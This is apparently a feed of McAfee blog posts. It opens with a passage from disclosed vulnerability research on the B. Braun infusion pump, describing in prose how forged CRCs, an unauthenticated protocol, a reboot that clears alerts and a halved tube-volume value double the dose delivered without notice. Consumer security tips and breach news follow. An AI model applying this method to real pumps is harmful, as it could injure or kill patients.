With a target key/value pair in mind, the next step would be to understand how to calculate the CRCs. Since the system is constantly checking the integrity of the data, if an attacker wanted to modify any value, they would also need to modify the CRCs which validate the changed data. Through reverse engineering we determined the CRC was a custom implementation of a CRC16, where the initial value is 0xFFFF and relies on a hardcoded polynomial table. We were able to extract this algorithm and write custom python scripts to compute the CRC needed for the disposable data.
With a basic understanding of the critical operational data and the ability to compute the CRCs, we are able to leverage the PCS binary, in an API fashion to send commands to the pump to modify this data. This holds true for both the drug library and the pump configuration data. Although CRCs are great for integrity checking, they provide no security or level of trust of the where the data is coming from. This lack of origin verification is what led to the filing of CVE-2021-33885.
If we review our attack chain, we can gain user-level access to the device without authentication or authorization. We can then escalate our privileges to root and leverage the existing functionality of the PCS binary to make modifications to the pump’s disposable data. Conceptually, the process is complete; however, we can do some additional housekeeping in order to make our attack chain slightly more realistic and efficient.
Since the proprietary protocol for the PCS binary is unauthenticated, there are certain configuration options which can be modified for an attacker to make their job even easier. One of these configuration options tells the pump which server is “trusted” to receive operational data from (such as the drug library). An attacker can send a command to SpaceCom which clears the current trusted server configuration and rewrites it to an attacker-controlled server. This is not required for this attack when leveraging the format string and privilege escalation path outlined above; however, it does provide alternative methods and simplifies the attack process.
Lastly, the pump has an audible and visual notification when any configuration or drug information has been modified on the pump. Once again in the spirit of a realistic attack, a malicious attacker is going to want to be as stealthy as possible. To accomplish this, it was worth determining a method in which to clear these notifications. This process turned out to be as simple as restarting the pump after our modifications were complete. The reboot operation happens in a matter of seconds, so by using this technique, all alerts to the end user were quickly cleared. The complete attack process can be seen outlined in the diagram below.
Figure 7: Complete Attack Chain
Although this attack chain presents a complete method to modify critical pump data, it is important to recognize the conditions required for this attack to be successful. These pumps are designed to be network connected to a local internal network. Therefore, under normal operating conditions an attacker would need to have found a method to gain access to the local network. Could this attack take place over the internet? Technically speaking, yes; however, it would be very unlikely to see a setup where a pump is directly internet-connected.
In addition to being on the local network, the pump does have safeguards in place to ensure no modifications can occur while the pump is operational. From what we discovered during our research, if the pump is actively administering medication, it ignores any request on the CAN bus to modify library or configuration data. This means the attack can only be successful when a pump is idle or in standby mode in between infusions.
The prerequisites for this attack are minimal and are not enough to mitigate the overall threat. In today’s world there are a wide range of documented and utilized methods for attackers to gain access to local networks. If we also consider that hospital or medical facilities are generally public places with little to no barriers to entry, it is easy to see how someone malicious can go unnoticed and obtain network access. Pumps are also not always actively administering mediation. Even in the busiest of hospitals there is downtime between patients or times when pumps are simply not in use.
With the ability to modify disposable and configuration data on the pump, there are a wide range of possibilities for which an attacker could choose to have an impact. An attacker could simply put the device in an unusable state or write arbitrary messages on the screen. We chose to focus on the disposable data, specifically the key/value pair labeled “TUBE_HEADVOLUME_A” since we determined it would demonstrate the greatest impact, bringing harm to a patient. In the below video you will first see the pump under normal operation. After demonstrating the system working as intended, we modify the configuration remotely using the attack chain explained above and then illustrate its effect on the pump when administering medication.
An interesting characteristic of this project is that its impact and consequences are inherently grounded in the physical world. Where common software hacks end with the ability to get root access or kernel privileges, in this project, the way the device is used by medical staff and how it can affect patient safety is crucial to the outcome. The next few sections will focus on various aspects of the project that fall under this umbrella.
As described previously, our attack relies on modifying the disposable data that governs the way the pump is used to deliver medication. But why and how did we decide to go investigate this? An interesting side-effect of the pump being built to be safe is that most of the inputs and outputs it receives from the CAN bus are extensively checked against out-of-range access. From an attacker’s perspective who has already compromised SpaceCom, this would usually be the prime target for memory corruption bugs. Fuzzing and emulating the M32C architecture is cost-heavy in terms of upfront work, so instead, we started looking for a path of least resistance and searched for blind spots in the secure design.
In our case, we wanted to be able to affect the amount of drug being dispensed, preferably without having something on screen as that would indicate a malfunction or abnormality. Our original plan was to tamper with the device drug library, but it turns out that data we could alter would be displayed on screen, which could raise concern as medical staff verify the prescribed drug and rate against the order before, and immediately after starting the infusion. This would not be ideal for an attacker, so we kept investigating. The other files we could modify were the calibration data and the disposable data. These files are interesting as they describe internal parameters; the calibration one specifies the physical parameters of the device itself, while the disposable one is for the specifics regarding the tubing going through the pump. Anyone familiar with precision tools know how important a good calibration is. If the calibration is off it will lead to improper operations or results. From an operational standpoint this makes sense, but from an attacker perspective this has a strong likelihood of fitting the bill for the attack we had in mind: modifying an internal value so the pump thinks it is dispensing the right amount of drug, while it is actually incorrect in its calculations.
Looking at the variable names inside the disposable file and relevant code in the pump firmware led us to one that specifies the “head volume” of the tube. From our understanding, each time the pump pumps, it compresses the IV tubing thereby pushing a small quantity of drug towards the patient. Overall, there are many physical parameters that would govern this volume –the internal tube diameter, the length of the compressed region, how much the tube is being compressed, etc.—but in the end, it seemed that all these values were summed up in one variable. Cutting this value in half would make the pump believe it is pushing half the actual amount, and therefore would have to pump twice as fast to deliver it. We tried our hypothesis, and by doing so, the amount of drug dispensed doubled while the pump assumed everything was normal.
Now that we have an idea of what happens to the device when we alter its internal configuration, we can consider how this could play out in the real world. As mentioned previously, medical staff are expected to be extra-careful when using these devices, ensuring the numbers match the doctor’s order. In the United States, both the Centers for Medicare and Medicaid Services (CMS) and the American Society of Clinical Oncology require standard of practice be followed with high risk or hazardous infusions like blood or chemotherapy. This standard requires two appropriately trained people (usually nurses), one who will be infusing the medication, and the other to verify the order and configuration prior to administration. Looking internationally, we were also able to find this same protocol in use at an Irish hospital. It confirms the attention to detail and the requirement to double-check each value is correct. However, another document describing the adoption of a smart pump system in a Swedish hospital hints at concerns (p. 47) that invalid drug protocols might be followed if a nurse picked the wrong default settings on the pump. These documents are anecdotal, but the overall feeling is that strong checks are in place. Under pressure or with multiple infusions, mistakes can be made, which smart pumps should prevent.
One of our industry partners, Shaun Nordeck, M.D. is an Interventional Radiology Resident Physician at a Level 1 Trauma Center and prior, served as an Army Medic and Allied Health Professional. Leaning on more than 20 years in the medical field. Dr. Nordeck states “A high-pressure environment such as the ICU may be at increased risk for infusion errors since these critical and often medically complex patients have multiple infusions which are being adjusted frequently. Errors, however, are not limited to the ICU and may just as easily occur in the inpatient ward or outpatient settings. Essentially with each increase in variable (patient complexity or acuity, number of medications, rate changes, nurse to patient ratio, etc.) there is an increased risk for error.”
As a measure of safety, it is important to keep in mind that one can visually count the number of drops to verify the infusion rate (there’s even an optional module to do it automatically). However, depending on the parameters, a minor change of speed (e.g., halved or doubled) might not be immediately obvious but could still be deleterious. Dr. Nordeck further stated that “something as routine as correcting a person’s high blood sugar or sodium level too quickly can cause the brain to swell or damage the nerves which can lead to permanent disability or even death.” The FDA’s MAUDE database keeps track of adverse events involving medical devices and can be used to see what type of problems actually occurred in the field. Certain drugs are particularly potent, in which case the speed at which they are delivered matters. In this instance, an over-sedation at 4 times the intended rate led to the death of a patient a few hours after the incident occurred. Under-dosing can also be problematic as the required medication does not reach the patient in the appropriate quantity. These examples highlight that a pump not delivering the correct amount of drug occurs in the field and may remain unnoticed for multiple hours, which can lead to injury or death.
Let’s now take a step back and consider some generic shortcomings that became apparent while looking at the infusion pump ecosystem. We believe these problems are not specific to a brand or a product but rather may be found across the entire medical field. This is because throughout the years, this vertical has only received a limited amount of attention from both malicious actors and the cybersecurity industry. With the increased rate of cyber threats and the constant additions of new smart devices in private networks, new attack surfaces are being exposed and the hardening of many systems may turn into low hanging fruits for the ones lagging. The slower life cycle of smart medical devices means that best security practices and mitigations take longer to be adopted and deployed in the field. Awareness of this may help healthcare organizations, and their supporting IT administration have a more critical eye on the technology deployed in their environments while medical device vendors should remain vigilant of their “legacy” technologies and continually reassess the risk profile associated with legacy products in the current cybersecurity landscape.
Consumer products, both hardware and software are often nimbler than their counterparts in the medical industry. Your web-browser or operating system on your personal computer will auto-update immediately after a patch is released which come on a regular basis. This is radically different for medical devices which are often directly linked to patient safety and therefore need to undergo a more rigorous vetting process before applying updates. This often leads to the need to immobilize devices during updates, perform follow up tests and recalibrations. It is often very expensive and challenging for medical facilities to update products, resulting in deployed devices with firmware that is several years old. Because of this, “table stakes” security measures may never be fully adopted, and corresponding vulnerabilities may have a larger impact than in other industries.
When looking at the general architecture of the pump, it is obvious that it was designed with safety in mind. For instance, it relies on an application processor for the main processing but also has a control processor that makes sure nothing unexpected occurs by monitoring sensors output along with other components. Everything is CRC checked multiple times to flag memory corruption and every range is bounds-checked. All of this suggests that the design was intended to mitigate hardware and software faults, data accidentally being corrupted over the wire, and the flash module degrading which aligns with a high priority on safety.
However, it looks like preventing malicious intent was not given as much attention during the design process. Sometimes the difference between safety and security might be a little blurry. Preventing accidental memory corruption and out of bounds access due to faulty hardware will also make exploitation harder, yet an attacker will always attempt to escape these mitigations. Along the same lines, logic bugs that would be extremely unlikely to occur by chance might be the “keys to the kingdom” for an attacker. Internal audits and offensive security exercises can highlight the attacker mindset and bring valuable insights as how to harden existing safeguards to protect against intentional threats.
When looking at how the pump and its communication module handles communication and file handling, we observed that critical files are not signed (CVE-2021-33885), most of the data exchanges are done in plain-text (CVE-2021-33883), and there is an overall lack of authentication (CVE-2021-33882) for the proprietary protocols being used. There are a few password-protected areas for user facing systems, but not as many for the behind-the-scenes internal systems. This might be because a login page on a website is an “obvious” necessity, along with having a proper authentication mechanism for FTP and SSH, while ad-hoc protocols designed more customized uses are not as obvious. There is also an evolving landscape at play and its related threat assessment; the risk of an unauthorized person tampering with a configuration file (calibration data, drug library, etc.) is fairly low if it also requires dedicated software and physical access to the device. However, if suddenly the device becomes network-connected, the attack surface is extended and the original assumptions may not be refreshed. Defense-in-depth would dictate that in any case, important files should not be easy to tamper with. However, security vs functionality comes with legitimate compromises and when it comes to embedded devices, limited resources and usability also need to be factored into the equation.
Originally, the CAN bus was reserved for communication between trusted components such as a Servicing PC used for maintenance or for connecting multiples devices within an older model of the Space Station that did not have SpaceCom built in. The latter would come as an optional module that could be plugged into the Space Station to offer external connectivity. Hence, the CAN bus was used for “internal” communication between trusted components and an external module, the SpaceCom, could be added for data reporting over the network. Over the following decade, technology improved and miniaturized to the point where everything got merged, so that even a battery module could provide WIFI connectivity and the SpaceCom functionalities. This opened new possibilities, such as having the built-in SpaceCom module provide similar capabilities as the servicing PC. From a user perspective this is great as it simplifies operations, but from a security perspective, this created a situation where a “trusted” internal network suddenly became bridged to an external network that could even be accessed wirelessly. What might have been an acceptable risk, where only a few proprietary devices with physical access could perform privileged operations, became much more questionable when a WIFI-connected Linux device started to offer the same capabilities.
This kind of problem has been faced by nearly every industry vertical that evolved from reliance on trusted physical networks which suddenly got connected to the internet or other untrusted networks. Smart connected devices are a double-edged sword: in the same way they offer greater flexibility and synergy between systems, they can also lead to emergent security issues that need to be considered holistically.
When developing custom protocols and ad-hoc systems it’s natural to incur technical debt. This is even more true when the life cycle of a device is many years and when it is complicated and expensive to deploy patches and upgrades, leading to a heterogeneous customer base and multiple hardware revisions to support. This can cause situations where more obscure features are not looked at for years and their ownership might be lost or perfunctory. An example of this is the format string vulnerability affecting the json-dbus module. Its usage is obscure, and it was forked from an open-source project many years ago. The original repository fixed bugs that were security bugs but were not flagged as such which led them to fly under the radar for multiple years. Likely, at the time it was forked, the code served its purpose and was never revisited afterwards, leaving the security bug unnoticed. The same can be said for custom-designed protocols and file formats. It may be difficult to evolve them in line with the improvement of best security practices while avoiding breaking “legacy” deployments. In this scenario, mitigations might be the way to go; making sure the systems are isolated, unnecessary features can be disabled and their privilege and access limited to what’s needed. Future-proofing a system is a difficult challenge. If anything, transparency on how the system functions and the components it relies on, coupled with regular audits (code source review or black box audit) can help prevent components from falling in the cracks where they’re not checked against best practices for many years.
This concludes a research project which took two senior researchers a significant amount of time to showcase a life-threatening risk of a medical device being taken over by a remote attacker. For the time being, ransomware attacks are a more likely threat in the medical sector, but eventually these networks will be hardened against this type of attacks and malicious actors will look for other lower-hanging fruits. Given the lifespan of medical devices and the difficulties surrounding their updates, it is important to start planning now for tomorrow’s threats. We hope this research will help bring awareness to an area that has been a blind spot for far too long. Dr. Nordeck affirms the importance of this research stating: “The ability to manipulate medical equipment in a way that is potentially harmful to patients, without end-user detection, is effectively weaponizing the device and something only previously conceived by Hollywood yet, McAfee’s ATR team has confirmed is plausible. Device manufactures clearly aim to produce safe and secure products as evidenced by built-in safeguards. However, flaws may exist which allow the device to succumb to a ransom attack or potentially cause harm. Therefore, manufactures should collaborate with security professionals to independently test their products to detect and correct potential threats and thereby preserve patient safety and device security.”
Performing regular security audits, making it easier for medical professionals to keep their devices up to date and offering solid mitigations when this is not possible should really be on every medical vendor’s list of priorities. Medical professionals, policy makers and even the general public should also hold accountable the medical vendors and have them clearly articulate the risk profile of the devices they sell and demand better ways to keep their device secure. We recognize even with this mindset and a holistic approach to security, there will always be flaws that cannot be predetermined. In these cases, vendors should encourage and even seek out industry partners, embrace responsible disclosure and communicate broadly with researchers, stakeholders and customers alike.
From a security research perspective, it is crucial to understand how a device works at a holistic system level, and how each component interacts with each other, which components they can talk to, and so on. For manufacturers, it is important to read between the lines; something may not be in a design document or in the specifications, but sometimes emergent properties will occur as a side-effect of other design decisions.
An offensive project like ours is really meant to highlight structural weaknesses and point out risks. Now, defensive work is necessary to address these concerns. For instance, manufacturers should leverage cheaper and more powerful microcontrollers to implement proper authentication mechanisms. However, it is even more important to study and address the challenges hospitals face when it comes to keeping their devices up to date. This should come as both technical solutions from the vendors and advocacy to promote secure practices and raise awareness on the underlying risks associated with critical devices having outdated software. The FDA tried to lead the way in 2018 with its CyberMed Safety (Expert) Analysis Board (CYMSAB), but so far little progress has been made. The work the German BSI did with the ManiMed project is also extremely encouraging. We see this as an area of cybersecurity with lots of potential and need for attention and look forward to the information security industry taking on this challenge to make this critical sector always more secure.
One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. As per McAfee’s vulnerability public disclosure policy, McAfee’s ATR team informed and worked directly with the B.Braun team. This partnership resulted in the vendor working towards effective mitigations of the vulnerabilities detailed in this blog. We strongly recommend any businesses using the B.Braun Infusomat devices to update as soon as possible in line with your patch policy and testing strategy.
CVSSv3 Rating: 6.8/8.2
CVSS String: AV:N/AC:H/PR:N/UI:N/ S:C/C:N/I:H/A:N/CR:H/IR:H/AR:M/MAV:A
CVE Description: Missing Authentication for Critical Function vulnerability in BBraun SpaceCom2 prior to 012U000062 allows a remote attacker to reconfigure the device from an unknown source through lack of authentication on proprietary networking commands.
CVSSv3 Rating: 5.9/7.1
CVSS String: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/CR:H/IR:H/AR:M/MAV:A
CVE Description: Cleartext Transmission of Sensitive Information vulnerability in BBraun SpaceCom2 prior to 012U000062 allows a remote attacker to obtain sensitive information by snooping the network traffic. The exposed data includes critical values for the pumps internal configuration.
CVSSv3 Rating: 7.3/5.8
CVSS String: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/CR:M/IR:M/AR:L/MAV:A
CVE Description: Unrestricted Upload of File with Dangerous Type vulnerability in BBraun SpaceCom2 prior to 012U000062 allows remote attackers to upload any files to the /tmp directory of the device through the webpage API. This can result in critical files being overwritten.
CVSSv3 Rating: 10.0/9.7
CVSS String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/CR:H/IR:H/AR:M/MAV:A
CVE Description: Insufficient Verification of Data Authenticity vulnerability in BBraun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to send malicious data to the device which will be used in place of the correct data. This results in execution through lack of cryptographic signatures on critical data sets
CVSSv3 Rating: 8.1/7.7
CVSS String: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/RL:O/RC:C
CVE Description: Improper sanitization of input vulnerability in BBraun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to gain user level command line access through passing a raw external string straight through to printf statements. The attacker is required to be on the same network as the device.
The post McAfee Enterprise ATR Uncovers Vulnerabilities in Globally Used B. Braun Infusion Pump appeared first on McAfee Blog.
Now that we’ve officially kicked off our journey as McAfee Enterprise, a pure-play enterprise cybersecurity company under the new ownership of Symphony Technology Group (STG), we’re celebrating a lot of new firsts and changes. But one thing remains the same: our passion and commitment to make the world a safer, more secure place. And that passion starts with our people. In this new blog series, you’ll meet some of the executives devoted to tackling today’s most pressing security concerns and innovating for the future.
Q: How did you come into this field of work? |
I didn’t start out in information technology, I graduated from college with a degree in physics at the end of the Cold War. At the time, all the physics jobs had evaporated, so I started out as an intern in programming at EDS. I did that for a few years and then went into management. I eventually became a CTO and then a CIO.
When I was a CIO, I learned that I really didn’t know much about information security, and it was hindering me in the CIO role. My next job was a director of information security at a financial services company, and I never looked back. I found that I had a passion for information security and have been the CISO at two different Fortune 500 companies. My current role as CIO for a company that creates enterprise cybersecurity software is a perfect marriage of both skill sets.
Q: With cybersecurity and AI capabilities expanding at a rapid pace, what will the future look like for companies like McAfee Enterprise in the coming years? |
I think our products like Insights and MVISION XDR are going to change the way we think about security. We have always relied on “after-the-fact” data as opposed to proactively looking at our environment. The days of looking at packet capture and syslogs as our primary defense method are behind us. While they are great for those “after-the-fact” forensic studies, they really don’t do much to proactively defend your enterprise.
Understanding user and device behavior and being able to spot anomalies is the future. Information security leaders need to stop having a negative reaction to new technology and instead embrace it. I also believe blockchain will likely be a good solution for IoT identity and machine learning will take over for the SEIM. You will start to see our tools evolving to meet these new challenges and paradigms.
Q: Since joining the company just over a year ago, how do you feel you’ve been able to help the company grow since last year and the impact you’ve had in your role? |
My team has done a very good job in leading the charge to the cloud while at the same time reducing costs. But we are just at the beginning of the journey, and have a long way to go.
We have also challenged our lack of standards and formed the Enterprise Architecture team to drive these patterns into the organization. As Hamlet said, we must suffer “the slings and arrow of outrageous fortune” for trying to drive that change, but I have been impressed by the dedication of members of our Technology Services team. Our security team has worked in lock step with the rest of the organization to drive our outward facing security vulnerabilities down to zero. That is not where we were when I arrived, but the team took a measured approach to dramatically improve our security posture.
I also enjoy spending time with the sales organization and helping them in supporting our customers. After being in the CISO role for over 12 years, I understand how difficult the role can be. I like to help our sales team understand what pain CISOs are experiencing and how our products can help.
Q: How do you hope to impact change in cybersecurity? |
I have been involved in the clean-up of two major breaches. While it is easy to get caught up in the numbers of records lost or how the breach will affect the organization’s stock price, there is a very human cost. Many security or IT leaders lose their job after a breach where stolen records are used to commit identity theft which is very painful to reconcile if you are victim, as we have seen in some of the ransomware attacks on healthcare systems that may have led to the death of patients. The great thing about being a leader in cybersecurity is that you feel you are doing something for the good of the public.
My teams have worked closely with various law enforcement agencies and have caught attackers. There is no better feeling than knowing you have taken down a criminal. I personally want to look back on my career and believe the field of cybersecurity is in a better place than when I started and that the company I work for played a major role in that change.
The post Executive Spotlight: Q&A with Chief Information Officer, Scott Howitt appeared first on McAfee Blog.
More senior adults are taking advantage of the array of wearable technology that helps them stay connected to healthcare providers and monitor their physical health and safety. But that newfound convivence comes with risk and, for many, the genuine fear of falling prey to an online hacker.
Wearable technology brings seniors both power and peace of mind. Many elderly consumers rely on wearable technology to monitor critical blood glucose levels, heart activity, and blood pressure. In addition, seniors and their families rely on fall detection, emergency alerts, and home security technology to monitor physical safety. Since the pandemic, wearable technology has played a central role in connecting virus-vulnerable seniors to healthcare professionals.
A recent study cites that 25 percent of U.S. homeowners with broadband internet expect to purchase a new connected consumer health or fitness device within the next year. Another study predicts the global market for wearable healthcare devices will reach $46.6 billion by 2025.
This kind of data is excellent to show consumer trends, but it also gives cybercriminals a road sign for new inroads into stealing consumer data.
So how do we dodge the digital dangers of our beloved wearable devices? With time, attention, and a few basics.
Sound like a hassle? Perhaps. However, following these basic protocols is likely far more manageable than having to navigate through the potential chaos connected to a data breach.
1. Install updates immediately. When it comes to protecting your wearables, security updates are not optional. Be sure to install the updates (usually with a single click) to protect your device from reported bugs, enhance functionality, and of course, seal up any security loopholes.
2. Add digital protection. It’s more than a buzz. Extra security solutions such a Virtual Private Network (VPN) and added security software can be your saving grace from prying eyes and help protect the health data you send over the internet. A VPN uses an encrypted connection to send and receive data. For example, if you use a VPN, a hacker trying to eavesdrop on your network will be met with a cacophony of jumbled data on their screen. In addition, installing comprehensive security software can thwart viruses and malware scams from infecting your digital landscape.
3. Level up your password IQ. Several practices can quickly shore up your password security: 1) Change your device’s default username and password immediately, 2) choose a strong password, 3) use Two Factor Authentication (2FA), and 4) keep your passwords in one place such as a password manager.
4. Switch devices off and on. Here’s a fun one—go old school. The National Security Alliance (NSA) recently advised consumers of one powerful way to thwart cybercriminals, especially with smartphones. Turn your device on and off every now and then. Better yet, if a device is not in use, shut it down.
5. Verify every source. Scams connected to your new device or health condition increasingly look legitimate. For that reason, verify sources, websites, and avoid giving out any personal information, and never send money to an unverified source. Scams come in the form of a phony email, people posing as an IT department or helpdesk, text message, pop-up, calendar invite, or even a direct message on social media. This is where antivirus software can save the day.
6. Ask for help. Beyond your device manual, Google and YouTube, if you are a senior and still have issues securing a new device, reach out for help. Don’t overlook the help desk associated with your new device, many of which also have a convenient online chat feature. Other possible resources include: Your local library, senior center, Agency on Aging, or community center may have help. In addition, AARP has published a list of helpful IT resources for seniors.
Having the right technology at your fingertips can feel like magic especially if you are a senior adult with health and safety concerns. In these times of widespread digital insecurity, giving even a little extra time and attention to these basic digital security protocols can bring a new level of peace and power to your daily routine.
The post Can Your Wearable Health Monitors Be Compromised? appeared first on McAfee Blog.
T-Mobile, the popular US mobile phone service provider, recently confirmed a data breach affecting 7.8 million current customers and 40 million records from past or prospective customers. The stolen data included customer names, dates of birth, social security numbers, and driver’s license information. Fortunately, subscriber credit card information and other financial details were not affected in the breach.
Even though financial data was spared in the breach, the types of information stolen, along with the vast volume of affected subscribers mean that all T-Mobile subscribers should take immediate action to secure their identities and accounts online.
This is the immediate step all affected subscribers should take.
As part of T-Mobile’s response, they are offering an identity protection service exclusively to all affected customers, free for two years. This identity protection service gives customers the ability to monitor personal info, including your SSN, bank account numbers, debit cards, email addresses, phone numbers, and more. If info is found on the dark web, customers will receive guidance to help secure online accounts. Should identity theft occur, the identity protection service includes fraud resolution support and identity theft insurance for peace of mind. The free 24 months of identity protection will be delivered directly by T-Mobile. The company is also encouraging customers to sign up for their Account Takeover Protection service.
One lesser-known type of data stolen in the breach was International Mobile Equipment Identity (IMEI) numbers, which allow individual devices to be identified on a mobile network. Access to IMEI numbers could enable SIM-swap attacks which make account takeovers possible. With an account takeover, two-factor authentication through text message becomes vulnerable, allowing hackers potential access to bank accounts, among others. App-based multi-factor authentication, using a solution like Google’s Authenticator, allows you to authenticate your identity from other devices, instead of having authentication tied to your mobile phone number.
T-Mobile will be contacting impacted customers directly. However, cybercriminals and scammers may also take advantage of this data breach to scam people using email. They will often pose as major corporations or other trustworthy entities to trick you into willingly providing information like website login credentials or, even worse, your credit card number. We’ve provided additional information here to help you to recognize legitimate emails.
In its simplest form, your digital identity is made up of a whole host of things that can be traced back to you and who you are. This includes email accounts, cell phone numbers, bank accounts, your tax ID, and more. Read our additional tips to protect your digital identity.
For regular updates and official news from T-Mobile, visit their Newsroom blog here.
The post T-Mobile’s data breach exposes the personal data of 40 million appeared first on McAfee Blog.
Mobile phones have gone through an incredible transformation since their inception in the 1970s. Now, the sheer number of applications is dizzying, as are their privacy policies; however, smartphone apps can bring hours of fun and belly laughs, and occasionally, a viral app captures the world’s attention. Don’t let potential risks to your personal information safety ruin all smartphone apps for you. All you need to share and play safely is a few tips to help you identify which apps are OK to use and how to navigate them intelligently.
Check out these four viral apps that may be putting your personal information at risk, plus a few tips that’ll help you enjoy smartphone apps safely.
Voilà AI Artist is a trending app that reimagines your face as a cartoon, caricature, or model of fine Renaissance art. Users can snap a selfie with the app or allow the app to access their photo library. According to WIRED, the app says it deletes users’ photos from its database in 24 to 48 hours, though it’s difficult to confirm that they aren’t stored.
Approach any app that could potentially use and store your likeness with caution. Deepfake technology is becoming more sophisticated and common by the day. Deepfakes are fabricated videos, images, or sound clips of every day or famous people based on real videos and images. Fake media impacts the victims whose likenesses are used because often the media is demeaning or incendiary. Voilà AI Artist hasn’t been suspected of any wrongdoing, but it’s best to be aware of how your face could be used to endorse something you don’t agree with.
Another face-altering app that could pose a risk to users’ privacy is FaceApp. Similar to Voilà AI Artist, it’s unclear what the app does with your likeness once you allow it to take your picture. FaceApp’s terms of use agreement outline that the selfies uploaded to the app belong to the app. From there, the app is free “to use, reproduce, modify, adapt, create derivative works from, distribute, perform, and display your User Content.” This line of fine print should make users pause. Again, users’ faces could be used in ways they wouldn’t normally agree to.
While the Pokémon Go craze of 2016 has greatly subsided, the next viral app that sweeps the world could replicate the security vulnerabilities the premise presents. Pokémon Go uses augmented reality, which is the kind of technology that makes it look like a Pokémon is strolling across your living room. The app can access your camera, as well as your contacts, pictures, chats, and location. It’s a blast exploring your neighborhood looking for animated critters and seeing nearby strangers’ profiles pop up on your map; however, be wary of sharing location data and images of the inside of your home with people you don’t know in real life.
TikTok may pose a risk to users’ data privacy. TikTok is under suspicion for using data mining tactics. Data mining is a practice where corporations harvest personal details from user-profiles and share them with advertising, marketing, and analytics companies. According to Business Insider, TikTok collects more than 50 kinds of data from users as young as 13 years old, including age, gender, location, and online habits. These facts are often used to create targeted ads that sometimes border on an invasion of privacy.
Check out these tips to make sure you’re prepared to use apps safely or help you decide to skip trends entirely.
The post 4 Viral Apps Risking Your Personal & Smartphone Security appeared first on McAfee Blog.
An important alert for anyone who uses smart cameras, Wi-Fi baby monitors, and other connected devices that send audio or video over the internet: a recent security advisory indicates millions of these devices may be at risk of remote monitoring or attack.
The root of the concern is an apparent vulnerability in the Software Development Kit (“SDK”) used with the ThroughTek Kalay network. Millions of smart devices use Kalay and its protocols to communicate over the internet.
As mentioned in the security advisory, an attacker could exploit the apparent vulnerability to intercept audio and video signals sent to and from Kalay-enabled devices. This could lead to follow-on attacks that utilize the Kalay-enabled Internet of Things (IoT) platform—such as the smart cameras and baby monitors.
While there is not a comprehensive list of specific devices or manufacturers that may be affected by this alert, millions of devices use the Kalay network and protocols. Given this, people who own these types of devices should strongly consider taking the following steps to protect themselves while ThroughTek and its partners actively address the issue:
1. Update your devices. Manufacturers using the Kalay protocol have been advised to update to its latest version and enable further security features. Updating your devices regularly increases the chances that you’ll receive security improvements soon after they become available.
2. Do not connect to your smart cameras, baby monitors, and other devices through public Wi-Fi. Accessing these devices via a smartphone app from an unprotected network can compromise the security of your devices. Use a VPN or a secure cellular data connection instead.
3. Use strong, unique passwords. Every device of yours should have one, along with a unique username to go along with it. In some cases, connected devices ship with default usernames and passwords, making them that much easier to hack.
With those immediate steps in place, this security advisory offers you a chance to take a fresh look at your network and device security overall. With these straightforward steps in place, you’ll be more protected against such events in the future—not to mention more secure in general.
Our banks, many of the online shopping sites we use, and numerous other accounts use two-factor authentication to help validate that we’re who we say we are when logging in. In short, a username and password combo is an example of one-factor authentication. The second factor in the mix is something you, and only you, own or control, like your mobile phone. Thus, when you log in and get a prompt to enter a security code that’s sent to your mobile phone, you’re taking advantage of two-factor authentication. If your IoT device supports two-factor authentication as part of the login procedure, put it to use and get that extra layer of security.
Your router acts as the internet’s gateway into your home. From there, it works as a hub that connects all your devices—computers, tablets, and phones, along with your IoT devices as well. That means it’s vital to keep your router secure. A quick word about routers: you typically access them via a browser window and a specific address that’s usually printed somewhere on your router. Whether you’re renting your router through your internet provider or have purchased one, the internet provider’s “how to” guide or router documentation can step you through this process.
The first thing to do is change the default password of your router if you haven’t done so already. Again, use a strong method of password creation. Also, change the name of your router. When you choose a new one, go with name that doesn’t give away your address or identity. Something unique and even fun like “Pizza Lovers” or “The Internet Warehouse” are options that mask your identity and are memorable for you too. While you’re making that change, you can also check that your router is using an encryption method, like WPA2, which helps secure communications to and from your router. If you’re unsure what to do, reach out to your internet provider or router manufacturer.
Just as you can offer your human guests secure access that’s separate from your own devices, creating an additional network on your router allows you to keep your computers and smartphones separate from IoT devices. This way, if an IoT device is compromised, a hacker will still have difficulty accessing your other devices, like computers and smartphones, along with the data and info that you have stored on them. You may also want to consider investing in an advanced internet router that has built-in protection and can secure and monitor any device that connects to your network.
We mentioned this above, yet it’s so important that it calls for a second mention: make sure you have the latest software updates for your IoT devices. That will make sure you’re getting the latest functionality from your device, and updates often contain security upgrades. If there’s a setting that lets you receive automatic updates, enable it so that you always have the latest.
You’ve probably seen that you can control a lot of your connected things with your smartphone. We’re using them to set the temperature, turn our lights on and off, and even see who’s at the front door. With that, it seems like we can add the label “universal remote control” to our smartphones—so protecting our phones has become yet more important. Whether you’re an Android or iOS device user, get security software installed on your phone so you can protect all the things it accesses and controls—in addition to you and the phone as well.
While the apparent vulnerability in the Kalay protocol is at issue here, this security advisory stands as a good reminder to protect all of our connected things—notably our computers and laptops. Using a strong suite of security software like McAfee® Total Protection, can help defend your entire family from the latest threats and malware, make it safer to browse, and look out for your privacy too.
The post McAfee Security Alert: Protect Your Smart Cameras and Wi-Fi Baby Monitors appeared first on McAfee Blog.
Surprise! Just because you’re a Millennial or Gen Zer doesn’t mean you’re savvier when it comes to technology. Especially when it comes to cybersecurity.
Turns out, Millennials aren’t quite as tight with their security as the older generations are. That’s according to one study about working from home that focused on younger adults and their older cohorts. It’s perhaps no surprise that nearly half of them said that they enjoyed working from home. What is surprising is that while working from home, “Gen Zers (38%) and Millennials (23%) said they had four or more [technology] issues, on average, every week,” according to the research.
For comparison, the research also showed that only 12% of employees aged 45 to 54, 4% aged 55 to 64, and 13% of seniors said that they had four or more issues per week.
Talk about a stereotype-buster!
Aside from technology issues in general, they found themselves dealing with security issues as well. The top three culprits …
If this survey is any indication, we could be a lot safer out there, particularly while we’re doing things like paying bills, checking our bank balances, or splitting dinner with friends via a payment app.
That’s what’s at stake. Millennials have among the highest rates of online shopping by generation at more than 86% (compared to Boomers at just over 62%). They also use social media the most and 50% of them self-describe themselves as being online “almost constantly” (a figure that drops sharply with age). Taken together, that’s a significant level of exposure to potential threats online. So, if there’s one place where Millennials can get a bit savvier, it’s with their cybersecurity.
